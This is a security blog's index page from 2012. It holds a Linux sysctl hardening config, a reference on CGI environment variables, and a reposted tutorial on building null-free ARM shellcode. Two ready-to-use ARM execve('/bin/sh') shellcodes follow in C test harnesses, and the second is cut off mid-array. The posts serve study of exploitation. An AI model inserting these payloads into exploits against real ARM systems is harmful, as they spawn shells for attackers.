'k1rha`s Node'에 해당되는 글 388건

  1. 2012.11.14 서버 보안 셋팅 sysctl.conf 설정. icmp 막기 DoS 막기 (Server Setting for network via setting sysctl.conf)
  2. 2012.11.13 CGI 환경 변수 정의 모음 (Group of CGI enviroment)
  3. 2012.11.13 [ 펌 ] How to Create a Shellcode on ARM Architecture
  4. 2012.11.13 ARM execve NOT NULL 27byte 1
  5. 2012.11.12 ARM core execve("/bin/sh") shellocde
  6. 2012.11.12 qemu for window 에서 포트포워딩 하여 내부에 접속하기 (How to networking in qemu)
  7. 2012.11.12 우분투에서 DNS 서버 구축하기 (How to install DNS Server in Ubuntu)
  8. 2012.11.12 [ 펌 ] iptables 사용법 정리 (usage of iptables)
  9. 2012.11.11 리눅스에서 내용으로 검색하는 법(How to search via content)
  10. 2012.11.07 strchr() 의 사용 법
  11. 2012.11.06 LOWORD , HIWORD, LOBYTE, HIBYTE 메크로.
  12. 2012.11.06 ICV 란? (what is Integrity Check Value?)
  13. 2012.11.06 IOCTL 함수와 이해 (understanding for IOCTL function)
  14. 2012.11.04 eip 를 외부 함수로 바꾸었을때 \n이 있고 없고 차이.. 1
  15. 2012.10.31 펌웨어 분석 1단계, bin 파일 까기. (Firmware analysis method Unpack Bin file )
  16. 2012.10.30 ASLR 끄는법?!
  17. 2012.10.28 우분투에서 deb rpm 파일 까기.
  18. 2012.10.24 정규표현식 한글까지 체크~!
  19. 2012.10.23 [ARM 크로스 컴파일 환경 구축하기 ] 1
  20. 2012.10.23 우분투 mysql 패스워드 분실 시 초기화 법
  21. 2012.10.23 우분투 아파치2 디렉토리 리스팅 막는 법 (Ubuntu apache2 Directory listing deny)
  22. 2012.10.17 [ python 2.7 ] HTTP POST data 전송하는 방법
  23. 2012.10.15 [ 10/15 ARM 분석 연습 ] ARM 분석연습.
  24. 2012.10.11 [ 10/11 ARM9 일기] 어셈블리 디버깅 연습 1
  25. 2012.10.07 JAVA 에서 PADDING 값을 내가 원하는 값으로...
  26. 2012.10.03 [ ARM assembly 공부 ] 1. 기본 내용
  27. 2012.10.01 [ Android ] 블루투스 설정하기 Using bluetooth in Android
  28. 2012.09.26 [ py2exe] setup.py 파일 아이콘 변경
  29. 2012.09.26 [ python 2.7 ] 파이썬 으로 만들어본 리버스 커넥션 + 업로드+ 다운로드
  30. 2012.09.26 [python 2.7 ] 경로에서 파일명이나 경로만 파싱하기
2012. 11. 14. 00:52

# icmp redirects를 보내지 않는다.

net.ipv4.conf.eth0.accept_redirects=0

net.ipv4.conf.lo.accept_redirects=0

net.ipv4.conf.default.accept_redirects=0

net.ipv4.conf.all.accept_redirects=0

net.ipv4.conf.eth0.send_redirects = 0

net.ipv4.conf.lo.send_redirects = 0

net.ipv4.conf.default.send_redirects = 0

net.ipv4.conf.all.send_redirects = 0

 

# proxy arp를 설정하지 않는다.

net.ipv4.conf.eth0.proxy_arp=0

net.ipv4.conf.lo.proxy_arp=0

net.ipv4.conf.default.proxy_arp=0

net.ipv4.conf.all.proxy_arp=0

 

# 게이트웨이로부터의 redirect를 허용하지 않음으로써 스푸핑을 막기 위해 설정한다.

net.ipv4.conf.eth0.secure_redirects=0

net.ipv4.conf.lo.secure_redirects=0

net.ipv4.conf.default.secure_redirects=0

net.ipv4.conf.all.secure_redirects=0

 

# 스푸핑을 막기 위해 source route 패킷을 허용하지 않는다.

# 소스 라우팅을 허용할 경우 악의적인 공격자가 IP 소스 라우팅을 사용해서 목적지의

# 경로를 지정할 수도 있고, 원래 위치로 돌아오는 경로도 지정할 수 있다. 이러한 소스 라우팅이

# 가능한 것을 이용해 공격자가 마치 신뢰받는 호스트나 클라이언트인 것처럼 위장할 수 있는 것이다.

net.ipv4.conf.eth0.accept_source_route=0

net.ipv4.conf.lo.accept_source_route=0

net.ipv4.conf.default.accept_source_route=0

net.ipv4.conf.all.accept_source_route=0

 

# Broadcast로부터 오는 핑을 차단함(Smurt 공격을 차단함).

net.ipv4.icmp_echo_ignore_broadcasts=1

 

# IP 나 TCP 헤더가 깨진 bad icmp packet을 무시한다.

net.ipv4.icmp_ignore_bogus_error_responses = 1

 

# 자신의 네트워크가 스푸핑된 공격지의 소스로 쓰이는 것을 차단한다.

# 모든 인터페이스에서 들어오는 패킷에 대해 reply를 하여 들어오는 인터페이스로 나가지 못하는 패킷을 거부한다.

net.ipv4.conf.eth0.rp_filter=2

net.ipv4.conf.lo.rp_filter=2

net.ipv4.conf.default.rp_filter=2

net.ipv4.conf.all.rp_filter=2

 

# bootp 패킷을 허용하지 않는다.

net.ipv4.conf.eth0.bootp_relay=0

net.ipv4.conf.lo.bootp_relay=0

net.ipv4.conf.default.bootp_relay=0

net.ipv4.conf.all.bootp_relay=0

 

# 스푸핑된 패킷이나 소스라우팅, Redirect 패킷에 대해 로그파일에 정보를 남긴다.

net.ipv4.conf.eth0.log_martians=1

net.ipv4.conf.lo.log_martians=1

net.ipv4.conf.default.log_martians=1

net.ipv4.conf.all.log_martians=1

 

# 1/100초에 받아들이는 igmp "memberships"의 수

net.ipv4.igmp_max_memberships=1

 

# 매우 복잡한 사이트에서는 이 값을 늘리는 것도 가능하지만 64로 두는 것이 적당하며

# 더 늘렸을 경우에는 큰 문제가 발생할 수도 있다.

net.ipv4.ip_default_ttl=64

 

# 게이트웨이 서버가 아닌 이상 패킷을 포워딩 할 필요는 없다.

net.ipv4.ip_forward=0

 

# fragmented packet이 메모리에 존재하는 시간을 15초로 설정한다.

net.ipv4.ipfrag_time=15

 

# SYN_Flooding 공격에 대한 대비로 백로그큐(Backlog Queue)가 가득차면 다른 접속 요구를 받아들이지 못한다.

net.ipv4.tcp_max_syn_backlog = 1024

 

# TCP 연결에서 Three-way Handshake가 성공적으로 이루어지지 않으면 더 이상 소스 경로를 거슬러 올라가지 않도록한다.

# 따라서 적절한 연결 요청에 대해서만 연결을 맺는다.

# syncookies가 작동할 때 SYN Flooding 공격이 있으면 messages 파일에 아래와 같은 내용이 출력된다.

# possible SYN flooding on port 80. Sending cookies.

net.ipv4.tcp_syncookies = 1

 

# 일정한 시간과 IP별로 보내고 받는 SYN 재시도 횟수를 3회로 제한한다.

# 이 옵션은 스푸핑된(위조된) 주소로 오는 SYN 연결의 양을 줄여준다.

# 기본 값은 5(180 초에 대응)이며 255를 넘지 않아야 한다.

net.ipv4.tcp_syn_retries = 3

 

# passive TCP 접속시도가 재접속을 하기 위한 SYNACKs의 값을 정한다. 255 보다 높

# 게 지정할 수 없다. 기본값은 5이며, 180초에 대응이 된다.

net.ipv4.tcp_synack_retries = 3

 

# 무언가 문제가 있을 때 연결을 위해 재시도 할 횟수, 최소 값과 기본 값은 3이다.

net.ipv4.tcp_retries1=3

 

# TCP 연결을 끊기 전에 재시도할 횟수.

net.ipv4.tcp_retries2=7

 

# 연결을 종료시 소요되는 시간을 줄여준다(기본 설정값: 60).

net.ipv4.tcp_fin_timeout=20

 

# 동시에 유지 가능한 timewait 소켓의 수이다.

# 만약 지정된 숫자를 초과하였을 경우에는 timewait 소켓이 없어지며 경고 메시지가 출력된다.

# 이 제한은 단순한 DoS 공격을 차단하기 위해 존재하는데, 임의로 이 값을 줄여서는 안되며

# 메모리가 충분하다면 적절하게 늘려주는 것이 좋은데, 64M 마다 180000으로 설정하면 된다.

# 따라서 256M일 경우에는 256/4=4 4*180000=720000

# 64M -> 180000

# 128M -> 360000

# 256M -> 720000

# 512M -> 1440000

# 1G -> 2880000

# 2G -> 5760000

#net.ipv4.tcp_max_tw_buckets = 180000

 

# 연결이 끊어졌다고 판단할 때까지, 얼마나 keepalive probe 를 보낼지 결정. 기본값 9회

# 간단한 DoS 공격을 막아준다.

net.ipv4.tcp_keepalive_probes=2

 

# keepalive 가 활성되 되어 있을 경우, 얼마나 자주 TCP 가 keepalive 메세지를 보

# 내게 할 것인지를 설정.

net.ipv4.tcp_keepalive_time=30

 

# keepalive_probes 를 보낼 간격을 정함. probe 를 보낸 후, probes * intvl 의 시

# 간이 지나도록 응답이 없으면 연결이 해제된 것으로 간주하게 됨. 기본 값의 사용

# 시 11분 15초 동안 재시도를 하고 연결을 취소함. 값은 초단위

net.ipv4.tcp_keepalive_intvl = 10

 

# 서버 쪽에서 닫은 TCP 연결을 끊기 전에 확인하는 횟수를 정한다. 기본 값은 7 로

# RTO 50 초에서 16 분 사이에 해당한다. 웹 서버가 운영 중 이라면 이 값을 줄여서

# 소켓 등이 귀한 리소스를 소비하지 않도록 할 수도 있다.

net.ipv4.tcp_orphan_retries = 2

 

# SYN 패킷을 전송한 후에 로스가 발생을 하여 ACK 를 일부 받지 못했을 경우, 선택

# 적으로 (selected) 받지못한 ACK 만 받도록 요청하는 것을 허락한다. 로스가 많은

# 네트워크에서는 상당히 중요한 역할을 한다.

net.ipv4.tcp_sack = 1

 

#tcp_window_scaling을 사용하지 않는다

net.ipv4.tcp_window_scaling = 0

Posted by k1rha
2012. 11. 13. 16:41

Each time the Web server executes a CGI script, it creates a number of environment variables to pass information to the CGI script. Theses variables inform the CGI script how the script is being invoked as well as provide information about the server and the Web browser being used by the client. Depending on how the CGI script is invoked, some environment variables may not be available in some cases.
Environment variables supplied to CGI scripts are always all uppercase. When they are being accessed by a C Program or Perl Script, or whichever language you are using, be sure to use all uppercase letters.

This section discusses the environment variables available to CGI scripts. By accessing these variables, CGI scripts can obtain certain information, such as the browser used to invoke the script. After the following discussion about environment variables, you learn how to access these variables from a Perl script, as well as a C program via CGI.

 

AUTH_TYPE
Some Web servers can be configured to authenticate users. If the server has authenticated a user, the authentication type used to validate the user is stored in the AUTH_TYPE variable. The authentication type is determined b y examining the Authorization Header the Web server might receive with an HTTP request.

 

CONTENT_LENGTH
Sometimes CGI scripts are invoked with additional information. This information is typically input for the CGI program. The length of this additional information is specified by the number of bytes taken up by the additional information in this variable. If a CGI script is called with the PUT or POST method, CONTENT_LENGTH is used to determine the length of the input.

 

CONTENT_TYPE
MIME content types are used to label various types of objects (HTML files, Microsoft Word files, GIF files, etc.). The MIME content type for data being submitted to a CGI script is stored in CONTENT_TYPE. For example, if data is submitted to a CGI script using the GET method, this variable will contain the value application/x-www-form-urlencoded. This is because responses to the form are encoded according to URL specifications

 

GATEWAY_INTERFACE
The CGI specification revision number stored in the GATEWAY_INTERFACE environment variable. The format of this variable is CGI/revision. By examining this variable, a CGI script can determine the version of CGI that the Web server is using.

 

HTTP_ACCEPT
Various Web clients can handle different MIME types. These MIME types are described in the HTTP_ACCEPT variable. MIME types accepted by the Web client calling the CGI script will be a list separated by commas. This list takes the format type/subtype, type/subtype. For example, if the Web client supports the two image formats GIF and JPEG, the HTTP_ACCEPT list will contain the two items image/gif, image/jpeg.

 

HTTP_USER_AGENT
By looking at this value, the Web browser used by the client can be determined. For example, if Netscape 2.0 beta 4 is being used by the client, the HTTP_USER_AGENT variable will contain the value Mozilla/2.0b4 (WinNT; I). The general format of this variable is software/version library/version.

 

PATH_INFO
The PATH_INFO variable is usually used to pass various options to a CGI program. These options follow the script's URL. Clients may access CGI scripts with additional information after the URL of the CGI script. PATH_INFO will always contain the string that was used to call the CGI script after the name of the CGI script. For example, PATH_INFO will have the value /These/Are/The/Arguments if the CGI script FunWithNT.EXE is called with the following URL :
http://your_server.your_domain/cgi-bin/FunWithNT.exe/These/Are/The/Arguments

 

PATH_TRANSLATED
In the event the CGI script needs to know the absolute path name of itself, the CGI script can obtain this information from PATH_TRANSLATED. For example, if the CGI script being invoked is HelloNTWorld.EXE, all CGI scripts are stored in H:\www\http\ns-home\root\cgi-bin, and the CGI script is accessed with the URL http://your_server.your_domain/root/cgi-bin/HelloNTWorld.EXE, PATH_TRANSLATED will contain the value the value H:\www\http\ns-home\root\cgi-bin\HelloNTWorld.EXE. If the CGI program needs to save or access any temporary files in its home directory, it can use PATH_TRANSLATED to determine its absolute location by examining this CGI variable.

 

QUERY_STRING
You may have noticed that when you submit some forms, there is a string of characters after a question mark, followed by the URL name of the script being called. This string of characters is referred to as the query string and contains everything after the question mark. When a CGI script is called with the GET method, QUERY_STRING typically contains variables and their values as entered by the person who filled in the form. QUERY_STRING is sometimes used by various search engines to examine the input when a form is submitted for a keyword search. For example, if a CGI applications is executed using the URL, http://www.server.com/cgi-bin/application.exe?WindowsNT=Fun, QUERY_STRING will contain the string "WindowsNT=Fun".

 REMOTE_ADDR
The IP address of the client that called the CGI program is stored in the REMOTE_ADDR environment variable. Due to security reasons, the value of this variable should never be used for user authentication purposes. It's not very hard to trick your Web server into believing a client is connecting to your Web server from a different IP address.

REMOTE_HOST
If the Web server can do a DNS lookup of the client's IP address and finds the alias of the IP address, the REMOTE_HOST variable will contain the alias name of the client's IP address. Some Web server allow DNS lookups to be turned on or off. If you will be using this variable to find the IP address alias of clients, be sure the DNS lookup option is turned on. The Web server can find the IP address aliases of most clients, but it might not be capable of getting the aliases of some clients. In such an event, the REMOTE_HOST variable will not be assigned the client's DNS alias value, it will just contain the client's IP address. This value should never be used for user authentication purposes.

 

REMOTE_IDENT
If the Web server being used supports RFC 931 identification, this variable will contain the user name retrieved from the server. Unfortunately, this value cannot be trusted when transmitting sensitive data. Typically a Web server obtains this value by contacting the client that initialized the HTTP request and speaking with the client's authentication server.

 

REMOTE_USER
Some Web server support user authentication. If a user is authenticated, the CGI script can find out the username of the person browsing the Web site by looking at the value of the REMOTE_USER environment variable. The REMOTE_USER CGI variable is available only if the user has been authenticated using an authentication mechanism.

 

REQUEST_METHOD
A client can call a CGI script in a number o f ways. The method used by the client to call the CGI script i s in the REQUEST_METHOD variable. This variable can have a value like HEAD, POST, GET, or PUT. CGI scripts use the value of this variable to find where to obtain data passed to the CGI script.

 

SCRIPT_NAME
All files on a Web server are usually referenced relative to its document root directory. SCRIPT_NAME contains the virtual path name of the script called relative to the document root directory. For example, if the document root directory is c:\www\http\ns-home\root, all CGI scripts are stored in c:\www\http\ns-home\root\cgi-bin\ and the CGI script HelloNTWorld.EXE is called, the SCRIPT_NAME variable will contain the value \cgi-bin\HelloNTWorld.EXE. The advantage of this variable is that is allows the CGI script to refer to itself. This is handy if somewhere in the output, the script's URL needs to be made into a hypertext link.

 

SERVER_NAME
The domain name of the Web server that invoked the CGI script is stored in this variable. This domain name can either be an IP address or DNS alias.

 

SERVER_PORT
Typically, Web servers listen to HTTP requests on port 80. However, a Web server can listen to any port that's not in use by another application. A CGI program can find out the port the Web server is serving HTTP requests by looking at the value of the SERVER_PORT environment variable. When displaying self-referencing hypertext links at runtime by examining the contents of SERVER_NAME, be sure to append the port number of the Web server (typically port 80) by concatenating it with the value of SERVER_PORT.

 

SERVER_PROTOCOL
Web servers speak the HyperText Transport Protocol (HTTP). The version of HTTP the Web server is using can be determined by examining the SERVER_PROTOCOL environment variable. The SERVER_PROTOCOL variable contains the name and revision data of the protocol being used. This information is in the format protocol/revision. For example, if the server speaks HTTP 1.0, this variable will have the value HTTP/1.0.

 

SERVER_SOFTWARE
The name of the Web server that invoked the CGI script is stored in the SERVER_SOFTWARE environment variable. This environment variable is in the format name/version. If a CGI script is designed to make use of various special capabilities of a Web server, the CGI script can determine the Web server being used by examining this variable before those special capabilities are used.
 
References :
Sanjaya Hettihewa, Windows NT 4, Web Development, Sams net, Indianapolis, First Edition, 1996

출처 : http://www.invir.com/int-prog-cgivar.html
 

 

Posted by k1rha
2012. 11. 13. 02:52

How to Create a Shellcode on ARM Architecture

	Title:          [English] How to create a shellcode on ARM architecture ?
	Language:       English 
	Author:         Jonathan Salwan - twitter: @jonathansalwan
	Translated by:  Arona Ndiaye
	Date:           2010-11-25


	Original version: http://howto.shell-storm.org/files/howto-4-en.php



	I - Introduction to the ARM architecture
	=========================================

	The ARM architecture was originally conceived for a computer sold by Acorn. 
	It morphed to then become an independent offer in the market of Embedded Computing. 
	ARM is the acronym for Advanced Risk Machine, formerly known as Acorn Risk Machine.

	The most famous  core is the ARM7TDMI which is graced with 3 pipeline levels. 
	The ARM7TDMI  even has a  second set of instructions  called THUMB which  allows 16-bits 
	addressing,  and significant memory gains especially in the field of embedded computing. 
	The ARM  architecture is also quite present  in the  field of Mobile Computing. Numerous 
	operating systems have been ported to that architecture. A non-exhaustive list includes:
	Linux (used  by Maemo on the N900  and  Android  on the Nexus One), Symbian S60 with the 
	Nokia N97 or Samsung Player HD,  iPhone  with the  iPhone  and iPad  and Windows Mobile.

	ARM Ltd followed up by  releasing the  ARM9 core which shifted to a five stage pipeline, 
	reducing the number of logical  operations per clock cycle and therefore nearly doubling 
	the clock frequency. 



	II - ARM/Linux shellcode: first attempt
	========================================

	For the remainder of this document, all tests are assumed to be running on a ARM926EJ-S core.
	Let's start by having a look at the register conventions.

		Register  	Alt. Name  	Usage
		r0 		a1 		First function argument Integer function result Scratch register
		r1 		a2 		Second function argument Scratch register
		r2 		a3 		Third function argument Scratch register
		r3 		a4 		Fourth function argument Scratch register

		r4 		v1 		Register variable
		r5 		v2 		Register variable
		r6 		v3 		Register variable
		r7 		v4 		Register variable
		r8 		v5 		Register variable
		r9 		v6
				rfp 		Register variable Real frame pointer

		r10 		sl 		Stack limit
		r11 		fp 		Argument pointer
		r12 		ip 		Temporary workspace
		r13 		sp 		Stack pointer
		r14 		lr 		Link register Workspace
		r15 		pc 		Program counter


	So registers r0 to r3 will be dealing with function parameters. Registers r4 to r9 will 
	be for variables. On the other hand register r7 will store the address of the Syscall to execute. 

	Register r13 points to the stack and register r15 points to the next address to execute. 

	These two registers can be compared to the ESP and EIP registers under x86, even though register 
	operations greatly differ between ARM and x86.

	Let's start by writing a shellcode that will first call the syscall _write and then the _exit one.
	We first need to know the address of the syscalls. We'll do as we usually do:

	root@ARM9:~# cat /usr/include/asm/unistd.h | grep write
	#define __NR_write			(__NR_SYSCALL_BASE+  4)
	#define __NR_writev			(__NR_SYSCALL_BASE+146)
	#define __NR_pwrite64			(__NR_SYSCALL_BASE+181)
	#define __NR_pciconfig_write		(__NR_SYSCALL_BASE+273)


	root@ARM9:~# cat /usr/include/asm/unistd.h | grep exit
	#define __NR_exit			(__NR_SYSCALL_BASE+  1)
	#define __NR_exit_group			(__NR_SYSCALL_BASE+248)


	Ok, so we have 4 for _write and 1 for _exit. We know that _write consumes three arguments: 
	write(int __fd, __const void *__buf, size_t __n)

	Which gives us:
	r0 => 1			(output)		
	r1 => shell-storm.org\n (string)
	r2 => 16 		(strlen(string))
	r7 => 4 		(syscall)

	r0 => 0
	r7 => 1	

	Here's what we get in assembly:

	root@ARM9:/home/jonathan/shellcode/write# cat write.s 
	.section .text
	.global _start

	_start:

		# _write()
		mov 	r2, #16
		mov	r1, pc		<= r1 = pc
		add	r1, #24		<= r1 = pc + 24 (which points to our string)
		mov 	r0, $0x1	
		mov 	r7, $0x4
		svc 	0

		# _exit()
		sub	r0, r0, r0
		mov 	r7, $0x1
		svc	0

	.ascii "shell-storm.org\n"

	root@ARM9:/home/jonathan/shellcode/write# as -o write.o write.s
	root@ARM9:/home/jonathan/shellcode/write# ld -o write write.o
	root@ARM9:/home/jonathan/shellcode/write# ./write 
	shell-storm.org
	root@ARM9:/home/jonathan/shellcode/write#
	root@ARM9:/home/jonathan/shellcode/write# strace ./write
	execve("./write", ["./write"], [/* 17 vars */]) = 0
	write(1, "shell-storm.org\n"..., 16shell-storm.org
	)    = 16
	exit(0)


	Everything seems to work fine so far, however in order create our shellcode, we should have no null 
	bytes, and our code is full of them.

	root@ARM9:/home/jonathan/shellcode/write# objdump -d write

	write:     file format elf32-littlearm


	Disassembly of section .text:

	00008054 <_start>:
	    8054:	e3a02010 	mov	r2, #16	; 0x10
	    8058:	e1a0100f 	mov	r1, pc
	    805c:	e2811018 	add	r1, r1, #24
	    8060:	e3a00001 	mov	r0, #1	; 0x1
	    8064:	e3a07004 	mov	r7, #4	; 0x4
	    8068:	ef000000 	svc	0x00000000
	    806c:	e0400000 	sub	r0, r0, r0
	    8070:	e3a07001 	mov	r7, #1	; 0x1
	    8074:	ef000000 	svc	0x00000000
	    8078:	6c656873 	stclvs	8, cr6, [r5], #-460
	    807c:	74732d6c 	ldrbtvc	r2, [r3], #-3436
	    8080:	2e6d726f 	cdpcs	2, 6, cr7, cr13, cr15, {3}
	    8084:	0a67726f 	beq	19e4a48 <__data_start+0x19d49c0>

	Under ARM, we have what is called the THUMB MODE which allows us to use 16 bits addressing for our 
	calls as opposed to 32 bits, which does simplify our life at this stage.

	root@ARM9:/home/jonathan/shellcode/write# cat write.s 
	.section .text
	.global _start

	_start:

		.code 32
		# Thumb-Mode on
		add 	r6, pc, #1
		bx	r6

		.code 	16
		# _write()
		mov 	r2, #16
		mov	r1, pc
		add	r1, #12
		mov 	r0, $0x1	
		mov 	r7, $0x4
		svc 	0

		# _exit()
		sub	r0, r0, r0
		mov 	r7, $0x1
		svc	0

	.ascii "shell-storm.org\n"

	root@ARM9:/home/jonathan/shellcode/write# as -mthumb -o write.o write.s
	root@ARM9:/home/jonathan/shellcode/write# ld -o write write.o
	root@ARM9:/home/jonathan/shellcode/write# ./write 
	shell-storm.org

	When compiling, please use "-mthumb" to indicate that we are switching to "Thumb Mode". The astute 
	reader will have noticed that I have changed the value of the constant being added to r1. Instead 
	of the original "add r1, #24", I'm doing "add r1, #12" since we have now switched to "thumb mode", 
	the address where my chain is at, has been halved. Let's see what that gives us in terms of null bytes.

	root@ARM9:/home/jonathan/shellcode/write# objdump -d write
	write:     file format elf32-littlearm

	Disassembly of section .text:

	00008054 <_start>:
	    8054:	e28f6001 	add	r6, pc, #1
	    8058:	e12fff16 	bx	r6
	    805c:	2210      	movs	r2, #16
	    805e:	4679      	mov	r1, pc
	    8060:	310c      	adds	r1, #12
	    8062:	2001      	movs	r0, #1
	    8064:	2704      	movs	r7, #4
	    8066:	df00      	svc	0
	    8068:	1a00      	subs	r0, r0, r0
	    806a:	2701      	movs	r7, #1
	    806c:	df00      	svc	0
	    806e:	6873      	ldr	r3, [r6, #4]
	    8070:	6c65      	ldr	r5, [r4, #68]
	    8072:	2d6c      	cmp	r5, #108
	    8074:	7473      	strb	r3, [r6, #17]
	    8076:	726f      	strb	r7, [r5, #9]
	    8078:	2e6d      	cmp	r6, #109
	    807a:	726f      	strb	r7, [r5, #9]
	    807c:	0a67      	lsrs	r7, r4, #9

	That's better, all that we have left now to do is to modify the following instructions: "svc 0" 
	and "sub r0, r0, r0".

	For SVC we'll use "svc 1" which is perfect in this case.
	For "sub r0, r0, r0", the goal is to place 0 in register r0, however we cannot do a "mov r0, #0" 
	as that will include a null byte. The only trick so far that I've come across is:

	sub r4, r4, r4
	mov r0, r4

	Which gives us:

	root@ARM9:/home/jonathan/shellcode/write# cat write.s 
	.section .text
	.global _start

	_start:
		.code 32

		# Thumb-Mode on
		add 	r6, pc, #1
		bx	r6
		.code 	16

		# _write()
		mov 	r2, #16
		mov	r1, pc
		add	r1, #14		<==== We changed the address again, since in exit() we've added
		mov 	r0, $0x1	      instructions which messed it all up.
		mov 	r7, $0x4
		svc 	1

		# _exit()
		sub	r4, r4, r4
		mov	r0, r4
		mov 	r7, $0x1
		svc	1
	.ascii "shell-storm.org\n"
	root@ARM9:/home/jonathan/shellcode/write# as -mthumb -o write.o write.s
	root@ARM9:/home/jonathan/shellcode/write# ld -o write write.o
	root@ARM9:/home/jonathan/shellcode/write# ./write 
	shell-storm.org
	root@ARM9:/home/jonathan/shellcode/write# strace ./write
	execve("./write", ["./write"], [/* 17 vars */]) = 0
	write(1, "shell-storm.org\n"..., 16shell-storm.org
	)    = 16
	exit(0)                                 = ?
	root@ARM9:/home/jonathan/shellcode/write# objdump -d write

	write:     file format elf32-littlearm


	Disassembly of section .text:

	00008054 <_start>:
	    8054:	e28f6001 	add	r6, pc, #1	; 0x1
	    8058:	e12fff16 	bx	r6
	    805c:	2210      	movs	r2, #16
	    805e:	4679      	mov	r1, pc
	    8060:	310e      	adds	r1, #14
	    8062:	2001      	movs	r0, #1
	    8064:	2704      	movs	r7, #4
	    8066:	df01      	svc	1
	    8068:	1b24      	subs	r4, r4, r4
	    806a:	1c20      	adds	r0, r4, #0
	    806c:	2701      	movs	r7, #1
	    806e:	df01      	svc	1
	    8070:	6873      	ldr	r3, [r6, #4]
	    8072:	6c65      	ldr	r5, [r4, #68]
	    8074:	2d6c      	cmp	r5, #108
	    8076:	7473      	strb	r3, [r6, #17]
	    8078:	726f      	strb	r7, [r5, #9]
	    807a:	2e6d      	cmp	r6, #109
	    807c:	726f      	strb	r7, [r5, #9]
	    807e:	0a67      	lsrs	r7, r4, #9



	Here we are, we've got an operational shellcode without any null bytes. In C that gives us:

	root@ARM9:/home/jonathan/shellcode/write/C# cat write.c 

	#include <stdio.h>

	char *SC = 	"\x01\x60\x8f\xe2"
			"\x16\xff\x2f\xe1"
			"\x10\x22"
			"\x79\x46"
			"\x0e\x31"
			"\x01\x20"
			"\x04\x27"
			"\x01\xdf"
			"\x24\x1b"
			"\x20\x1c"
			"\x01\x27"
			"\x01\xdf"
			"\x73\x68"
			"\x65\x6c"
			"\x6c\x2d"
			"\x73\x74"
			"\x6f\x72"
			"\x6d\x2e"
			"\x6f\x72"
			"\x67\x0a";


	int main(void)
	{
		fprintf(stdout,"Length: %d\n",strlen(SC));
		(*(void(*)()) SC)();
	return 0;
	}

	root@ARM9:/home/jonathan/shellcode/write/C# gcc -o write write.c
	write.c: In function 'main':
	write.c:28: warning: incompatible implicit declaration of built-in function 'strlen'
	root@ARM9:/home/jonathan/shellcode/write/C# ./write 
	Length: 44
	shell-storm.org




	III - execv("/bin/sh", ["/bin/sh"], 0)
	=======================================

	Now let's study a shellcode called execve(). The structure should look like this:

	r0 => "//bin/sh"
	r1 => "//bin/sh"
	r2 => 0

	r7 => 11


	root@ARM9:/home/jonathan/shellcode/shell# cat shell.s 
	.section .text
	.global _start
	_start:
		.code 32			// 
		add 	r3, pc, #1		// This whole section is for "Thumb Mode"
		bx	r3			//
		.code 16			//

		mov 	r0, pc			// We place the address of pc in r0
		add 	r0, #10			// and add 10 to it (which then makes it point to //bin/sh)
		str	r0, [sp, #4]		// we place it on the stack  (in case we need it again)

		add  r1, sp, #4			// we move what was on the stack to r1

		sub	r2, r2, r2		// we subtract r2 from itself (which is the same as placing 0 in r2)

		mov 	r7, #11			// syscall execve in r7
		svc 	1			// we execute

	.ascii "//bin/sh"

	root@ARM9:/home/jonathan/shellcode/shell# as -mthumb -o shell.o shell.s
	root@ARM9:/home/jonathan/shellcode/shell# ld -o shell shell.o
	root@ARM9:/home/jonathan/shellcode/shell# ./shell 
	# exit
	root@ARM9:/home/jonathan/shellcode/shell#

	We can verify that the shellcode contains no null bytes !!

	    8054:	e28f3001 	add	r3, pc, #1
	    8058:	e12fff13 	bx	r3
	    805c:	4678      	mov	r0, pc
	    805e:	300a      	adds	r0, #10
	    8060:	9001      	str	r0, [sp, #4]
	    8062:	a901      	add	r1, sp, #4
	    8064:	1a92      	subs	r2, r2, r2
	    8066:	270b      	movs	r7, #11
	    8068:	df01      	svc	1
	    806a:	2f2f      	cmp	r7, #47
	    806c:	6962      	ldr	r2, [r4, #20]
	    806e:	2f6e      	cmp	r7, #110
	    8070:	6873      	ldr	r3, [r6, #4]

	So this is it, to find more ARM shellcodes please browse to: http://www.shell-storm.org/search/index.php?shellcode=arm



	IV - References
	================

	[x] http://www.shell-storm.org

	[1] http://fr.wikipedia.org/wiki/Architecture_ARM

	[2] http://nibbles.tuxfamily.org/?p=620

	[3] The ARM Instruction Set (http://www.shell-storm.org/papers/files/664.pdf)

	[4] ARM Addressing Modes Quick Reference Card (http://www.shell-storm.org/papers/files/663.pdf)

Posted by k1rha
2012. 11. 13. 01:05

/*
Title:     Linux/ARM - execve("/bin/sh", [0], [0 vars]) - 27 bytes
Date:      2010-08-31
Tested on: ARM926EJ-S rev 5 (v5l)
Author:    Jonathan Salwan - twitter: @jonathansalwan
 
shell-storm.org
 
Shellcode ARM with not a 0x20, 0x0a and 0x00
 
 
Disassembly of section .text:
 
00008054 <_start>:
    8054:   e28f3001    add r3, pc, #1  ; 0x1
    8058:   e12fff13    bx  r3
    805c:   4678        mov r0, pc
    805e:   3008        adds    r0, #8
    8060:   1a49        subs    r1, r1, r1
    8062:   1a92        subs    r2, r2, r2
    8064:   270b        movs    r7, #11
    8066:   df01        svc 1
    8068:   622f        str r7, [r5, #32]
    806a:   6e69        ldr r1, [r5, #100]
    806c:   732f        strb    r7, [r5, #12]
    806e:   0068        lsls    r0, r5, #1
 
*/
 
#include <stdio.h>
 
 
 
char SC[] = "\x01\x30\x8f\xe2"
            "\x13\xff\x2f\xe1"
            "\x78\x46\x08\x30"
            "\x49\x1a\x92\x1a"
            "\x0b\x27\x01\xdf"
            "\x2f\x62\x69\x6e"
            "\x2f\x73\x68";
 
 
int main(void)
{
        fprintf(stdout,"Length: %d\n",strlen(SC));
        (*(void(*)()) SC)();
return 0;
}

Posted by k1rha
2012. 11. 12. 17:00

/*
Title:     Linux/ARM - execve("/bin/sh", [0], [0 vars]) - 30 bytes
Date:      2012-09-08
Tested on: ARM1176JZF-S (v6l)
Author:    midnitesnake
 
00008054 <_start>:
    8054:       e28f6001        add     r6, pc, #1
    8058:       e12fff16        bx      r6
    805c:       4678            mov     r0, pc
    805e:       300a            adds    r0, #10
    8060:       9001            str     r0, [sp, #4]
    8062:       a901            add     r1, sp, #4
    8064:       1a92            subs    r2, r2, r2
    8066:       270b            movs    r7, #11
    8068:       df01            svc     1
    806a:       2f2f            .short  0x2f2f
    806c:       2f6e6962        .word   0x2f6e6962
    8070:       00006873        .word   0x00006873
*/
#include <stdio.h>
 
char *SC =      "\x01\x60\x8f\xe2"
                "\x16\xff\x2f\xe1"
                "\x78\x46"
                "\x0a\x30"
                "\x01\x90"
                "\x01\xa9"
                "\x92\x1a"
                "\x0b\x27"
                "\x01\xdf"
                "\x2f\x2f"
